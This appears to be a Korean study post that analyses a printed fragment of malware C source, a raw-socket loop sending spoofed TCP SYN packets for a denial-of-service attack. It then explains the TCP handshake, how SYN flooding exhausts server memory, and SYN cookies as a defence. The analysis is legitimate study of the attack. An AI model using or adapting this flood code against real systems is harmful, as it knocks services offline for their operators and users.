다음 파일은 악성코드 소스의 일부분이다. 이것의 공격방법은 무엇인가
소스코드
addr_in.sin_family=AF_INET; addr_in.sin_port=htons(TargetPort); addr_in.sin_addr.s_addr=TargetIP;
ipHeader.h_verlen=(4<<4|sizeof(ipHeader)/sizeof(unsigned long));
ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));
ipHeader.ident=1; ipHeader.frag_and_flags=0; ipHeader.ttl=128;
ipHeader.proto=IPPROTO_TCP; ipHeader.checksum=0; ipHeader.destIP=TargetIP;
tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0); tcpHeader.th_flag=2;
tcpHeader.th_win=htons(16384); tcpHeader.th_urp=0; tcpHeader.th_ack=0;
lTimerCount=GetTickCount();
while(g_cMainCtrl.m_cDDOS.m_bDDOSing)
{
i++;
tcpHeader.th_sum=0; tcpHeader.th_dport=htons(TargetPort);
psdHeader.daddr=ipHeader.destIP; psdHeader.mbz=0; psdHeader.ptcl=IPPROTO_TCP;
psdHeader.tcpl=htons(sizeof(tcpHeader));
ipHeader.sourceIP=htonl(lSpoofIP);
tcpHeader.th_sport=htons((rand()%1001)+1000);
tcpHeader.th_seq=htons((rand()<<16)|rand());
psdHeader.saddr=ipHeader.sourceIP;
memcpy(szSendBuf, &psdHeader, sizeof(psdHeader));
memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));
tcpHeader.th_sum=checksum((unsigned short *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader));
memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));
memset(szSendBuf+sizeof(ipHeader)+sizeof(tcpHeader), 0, 4);
ipHeader.checksum=checksum((unsigned short *)szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader));
memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader),0,(struct sockaddr*)&addr_in, sizeof(addr_in));
if(rect==SOCKET_ERROR) return false;
if((GetTickCount()-lTimerCount)/1000>len) break;
if(bRandPort) { TargetPort=brandom(1000, 10000); }
szSpoofIP[0]=(char)brandom(0, 255); szSpoofIP[1]=(char)brandom(0, 255);
szSpoofIP[2]=(char)brandom(0, 255); szSpoofIP[3]=(char)brandom(0, 255);
Sleep(delay);
}
xClose(sock);
나름 주석을 달아봤다.
TCP 통신은
클라이언트가 서버에 SYN을 전송하고, 세그먼트의 시퀸스번호를 임의로 설정한다.
서버는 SYN-ACK으로 응답을 하며, 수신된 시퀸스보다 많은 숫자로 설정된다.
클라이언트가 서버에 다시 ACK을 보낸다.
이렇게 서버와 클라이언트가 연결이되며
3Way HandShake 라고 한다.
UDP ( User Datagram Protocol) 은 메시지를 실어서 보내기만해서 받았는지 안받았는지는 신경을 안쓴다.
TCP ( Transmission Control Protocol ) 은 메시지를 보내기 전에 3way handshake 과정을 통해 정상적으로 전달 가능한지 확인한다.
즉 TCP는 UDP 보다 신뢰성을 가진다.
계산한 시간이 LEN보다 작으면 종료가 된다는점에서
그 일정시간동안 패킷을 받고 다시 보내주거나 하는 코드는 없고
SYN 패킷을 보내고만 있다.
TCP SYN Flooding Attack
위에서 설명했다시피
클라이언트는 SYN 패킷을 생성해 서버에 보낸다. 한마디로 " 가도되나요? " 라고 볼 수 있다.
서버는 SYN패킷과 받은 질문의 대답인 ACK 패킷을 클라이언트에 전달한다.
그리고 서버는 클라이언트의 접속을 받기위해 공간을 확보한다.
"네, 와도됩니다" 라고 하면 받은 패킷의 시퀸스 넘버를 증가시켜 보낸다.
다시 클라이언트는 다시 대답으로 ACK 패킷을 서버에 전달한다.
"그럼 지금 갑니다" 라고 보면되며, 또한 시퀸스 넘버를 증가시켜 보낸다.
그렇다면
무수히 많은 SYN 패킷을 보내면 서버에서는 받은 SYN 패킷과 ACK 패킷을 클라이언트 계속해 전달하는 동시에
메모리 공간확보를 계속해서 받는대로 하게된다.
그런데 클라이언트에서 ACK 패킷을 다시 서버로 전달해주지 않는다면?
그럼 늘어날대로 늘어나버린 서버 메모리는 꽉 차버리고 더이상 공간확보가 불가능해진 서버는
새로운 연결을 받지 못한다.
한마디로 SYN 패킷을 무수히 보낸다는 거다.
방어는 어떻게 ?
SYN패킷을 방화벽에서 받아서 쿠키를 포함해 SYN과 ACK를 보내고, 일정시간동안 쿠키에 대한 응답이 들어오지 않으면
차단해버리면 됩니다.